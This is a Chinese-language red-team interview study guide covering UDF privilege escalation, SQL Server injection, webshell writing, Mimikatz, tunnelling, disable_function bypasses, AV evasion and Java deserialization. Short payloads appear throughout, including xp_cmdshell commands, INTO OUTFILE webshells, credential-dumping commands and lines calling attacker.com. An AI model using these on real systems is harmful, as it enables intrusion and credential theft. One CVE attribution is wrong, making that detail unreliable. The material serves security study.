安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?2025年HW(護網面試) 47
1. UDF提權
2. 命令執行與代碼執行的區別
3. 文件包含利用姿勢
4. 漏洞復現流程
5. SQL Server注入相關
6. 預編譯如何繞過SQL注入
7. 內網正向代理與反向代理
8. Mimikatz使用
9. 目標出不了內網的解決方案
10. 繞過disable_function方法
11. MySQL寫Shell方法
12. Redis漏洞利用
13. SQLMap os-shell寫入文件
14. 最近研究方向
15. 免殺技術(Bypass AV/EDR)
16. Java反序列化漏洞
?2025年HW(護網面試) 47
1、udf提權 2、命令執行與代碼執行的區別 3、文件包含利用姿勢 4、漏洞復現 5、sqlserver的注入相關 6、預編譯怎么進行sql注入 7、內網的正向代理和反向代理 8、mimikatz的使用 9、目標出不了內網咋辦 10、如何繞過disable_function 11、mysql進行寫shell的方法 12、redis的漏洞利用相關 13、sqlmap的os-shell寫了哪些文件 14、最近在研究啥 15、免殺 16、java的相關的反系列化
1. UDF提權
- 原理:利用MySQL自定義函數(UDF)加載惡意共享庫(.so/.dll),執行系統命令。
- 步驟:
- 上傳編譯好的UDF庫(如
lib_mysqludf_sys.so
)到插件目錄。- 創建UDF函數:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';
- 執行命令:
SELECT sys_exec('id');
- 條件:
- MySQL有
FILE
權限且secure_file_priv
為空。- 知曉服務器絕對路徑。
- 防御:限制
FILE
權限,設置secure_file_priv
,禁用動態庫加載。
2. 命令執行與代碼執行的區別
類型 命令執行(RCE) 代碼執行 執行環境 直接調用操作系統命令(如 /bin/sh
)在編程語言解釋器中執行代碼(如PHP的 eval()
)危害范圍 影響整個系統 受限于語言環境(如PHP沙盒) 示例函數 system()
,exec()
eval()
,assert()
3. 文件包含利用姿勢
- 本地文件包含(LFI):
- 讀取敏感文件:
/etc/passwd
、配置文件。- 結合日志注入:包含Apache日志寫入PHP代碼。
- 遠程文件包含(RFI):
- 加載遠程惡意腳本:
http://attacker.com/shell.txt
。- 協議利用:
php://filter
讀取源碼:php://filter/convert.base64-encode/resource=index.php
。- 無回顯利用:
- 觸發錯誤日志或延時判斷(盲注)。
4. 漏洞復現流程
- 環境搭建:使用Docker/Vulhub快速部署漏洞環境。
- 漏洞驗證:
- 手工測試:構造Payload觸發漏洞(如SQLi、XSS)。
- 工具輔助:Burp Suite、SQLMap。
- 利用鏈構造:結合多個漏洞實現RCE(如LFI+日志注入)。
- 結果驗證:獲取Shell/敏感數據,記錄復現步驟。
5. SQL Server注入相關
- 堆疊查詢:
'; EXEC xp_cmdshell 'whoami'--
(需開啟xp_cmdshell
)。- 差異備份寫Shell:利用備份功能寫入ASPX木馬。
- 盲注函數:
WAITFOR DELAY '0:0:5'
、CHAR()
。- 權限提升:
EXEC sp_addsrvrolemember 'user', 'sysadmin'
。
6. 預編譯如何繞過SQL注入
- 預編譯原理:SQL語句與參數分離,避免拼接。
- 繞過場景:
- 二次注入:參數入庫后被其他功能拼接使用。
- 非參數化部分:如
ORDER BY
后接動態字段名。- 存儲過程動態SQL:內部使用
EXEC()
執行拼接語句。
7. 內網正向代理與反向代理
類型 正向代理 反向代理 角色 客戶端主動連接代理訪問目標 服務端通過代理接收外部請求 滲透應用 內網穿透(如SSH -L端口轉發) 隱藏內網服務(Nginx反向代理) 工具 frp、Proxychains Ngrok、Cobalt Strike
8. Mimikatz使用
- 常用命令:
- 抓取明文密碼:
sekurlsa::logonpasswords
。- 導出Kerberos票據:
kerberos::list /export
。- PTH攻擊:
sekurlsa::pth /user:admin /domain:test /ntlm:xxxx
。- 繞過防御:
- 使用內存加載(無文件執行)。
- 禁用LSASS保護檢測(需管理員權限)。
9. 目標出不了內網的解決方案
- DNS隧道:使用dnscat2傳輸數據。
- ICMP隧道:icmpsh或PingTunnel。
- 端口轉發:
- 正向代理:
ssh -L 8080:內網IP:80 user@跳板機
。- 反向代理:
plink -R 4444:localhost:80 attacker.com
。- Web通道:利用HTTP長連接傳輸數據(如ReGeorg)。
10. 繞過disable_function方法
- LD_PRELOAD劫持:通過惡意so文件劫持函數調用。
- ImageMagick漏洞:利用CVE-2016-3714執行命令。
- FFI擴展:PHP 7.4+的FFI接口直接調用系統函數。
- COM組件(Windows):
new COM("WScript.Shell")
執行命令。
11. MySQL寫Shell方法
- INTO OUTFILE:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php';
- 日志文件寫入:
sql
SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php eval($_POST[cmd]); ?>';
12. Redis漏洞利用
- 未授權訪問:直接執行
CONFIG SET dir /var/www
寫入SSH密鑰或Webshell。- 主從復制RCE:偽造惡意主節點,同步加載惡意模塊。
- Lua沙盒繞過:CVE-2022-0543執行系統命令。
13. SQLMap os-shell寫入文件
- MySQL:寫入UDF庫(如
/usr/lib/mysql/plugin/udf.so
)和臨時Webshell。- MSSQL:通過
xp_cmdshell
生成Bat腳本或VBS腳本。- Oracle:利用DBMS_ADVISOR寫入Java類文件。
14. 最近研究方向
- AI模型安全:對抗樣本攻擊、模型逆向工程。
- 云原生滲透:Kubernetes逃逸、Serverless函數漏洞。
- 硬件安全:物聯網設備固件分析、旁路攻擊(如功耗分析)。
15. 免殺技術(Bypass AV/EDR)
- 靜態免殺:
- 加密Shellcode(AES/XOR)。
- 代碼混淆(如Polymorphic代碼)。
- 動態免殺:
- 內存加載(無文件執行)。
- API調用混淆(如直接系統調用)。
- 工具:Cobalt Strike Artifact Kit、Shellter。
16. Java反序列化漏洞
- 利用鏈:
- Commons Collections:
InvokerTransformer
鏈觸發RCE。- Fastjson:JNDI注入(如CVE-2021-45046)。
- JDK原生鏈:
AnnotationInvocationHandler
。- 防御:升級依賴庫,啟用反序列化過濾器(JEP 290)。